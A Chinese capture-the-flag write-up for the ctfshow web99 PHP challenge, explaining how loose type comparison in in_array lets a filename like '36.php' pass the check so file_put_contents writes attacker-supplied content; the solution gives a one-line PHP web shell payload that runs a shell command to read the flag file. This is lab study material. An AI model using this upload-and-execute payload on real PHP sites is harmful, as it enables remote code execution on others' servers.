目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com*/highlight_file(__FILE__);
$allow = array();  //$allow = [];
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));  //$allow数组中随机传入[1,$i]的值
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){  file_put_contents($_GET['n'], $_POST['content']); //往文件写入内容
}?>

思路

(Hex)0x36d  = (Dec)877
array_push  向数组尾部随机插入一个元素
in_array() 函数搜索数组中是否存在指定的值。

正常流程看起来没什么漏洞,但是ctf一定有解
查了一下in_array()


type参数是判断数据类型是否相同,突然想起来$array数组里面的是int,我们传入的是字符串,在php字符串和int比较,字符串会被转换成int,因为是弱类型转换,所以 字符串中数字后面的字符串会被忽略

由于in_array没有设置type,我们可以输入36.php,转换之后也就是36,肯定是in_array的,满足条件

题解

多试几次

get:  n=36.php
post: content=<?=`tac f*`;

总结

水题

CTFshow php特性 web99相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 《C程序设计语言》(第二版)要点总结
  2. 计算机科学和建筑设计结合,智能化建筑中计算机科学与技术的应用
  3. 深度学习(二十七)可视化理解卷积神经网络
  4. Linux系统C/C++通用错误码实现模板
  5. AirServer for mac如何实现无线投屏
  6. linux源码编译安装apache,Ubuntu 16.04源码编译安装Apache 2.4.25教程
  7. logit回归模型假设_LOGISTIC回归分析
  8. 计算机课程教学调查问卷,计算机基础课程调查问卷
  9. Http的三次握手与四次挥手的流程:SYN包--同步包 ACK包--应答包 FIN包--终止包
  10. qtableview 鼠标划过单元格弹出标签显示单元格内容
  11. html语言设置网页背景,在html网页中如何设置背景图片?网页背景怎么设置?
  12. FakeSMC 修改
  13. 海思开发板上挂载额外的存储空间
  14. 如何搭建一个属于自己的博客/企业网站?
  15. vue简单实现多功能弹幕(比上一个好)
  16. 【Designing ML Systems】第 4 章 :训练数据
  17. mysql数据库事务的实现原理
  18. java毕业设计星之语明星周边产品销售网站Mybatis+系统+数据库+调试部署
  19. 2021 CSP-J复赛 我的备战与游记
  20. Excel中数据源发生变动时如何定时刷新数据透视表

热门文章

  1. uchome后台系统配置分析
  2. 在数据库中分析sql执行性能
  3. RedHat Enterprise LInux 6.3 安装Oracle Database 11g
  4. WinCE6.0的批量编译
  5. win server 2008 R2 安装IIS
  6. ResizeObserver - 元素resize监听API
  7. 第一章---对象导论
  8. Lync 2013就地升级到Skype for Business 2015-01
  9. 启动mysql的innodb monitor功能
  10. Multiple markers at this line @Override的解决方法